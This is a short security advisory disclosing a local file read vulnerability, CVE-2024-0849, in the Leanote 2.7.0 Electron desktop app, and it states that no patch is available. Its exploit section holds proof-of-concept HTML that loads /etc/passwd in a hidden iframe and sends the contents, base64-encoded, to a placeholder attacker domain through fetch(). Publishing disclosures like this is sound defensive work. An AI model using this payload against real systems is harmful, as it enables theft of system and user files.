Leanote 2.7.0 - Local File Read

Description

Leanote version 2.7.0 allows obtaining arbitrary local files. This is possible because the application is vulnerable to LFR.

Vulnerability

A local file read (LFR) vulnerability has been identified in Leanote that allows an attacker to obtain arbitrary local files from the server. This was possible because not all security considerations that an electron-based application should have were followed.

Exploit

exploit.html

<iframe src="file:///etc/passwd" style="display: none;" onload="leak_internal_file(this.contentDocument.body.innerText)"></iframe>

<script>
 function leak_internal_file(leak) {
 fetch("[MALICIOUS DOMAIN HERE]" + encodeURIComponent(btoa(leak)))
 }
</script>

entrypoint.html

<iframe src="file:///Users/retr02332/Documents/exploit.html" style="display: none;">

Our security policy

We have reserved the ID CVE-2024-0849 to refer to this issue from now on. Disclosure policy

System Information

• Version: Leanote 2.7.0

• Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/leanote/desktop-app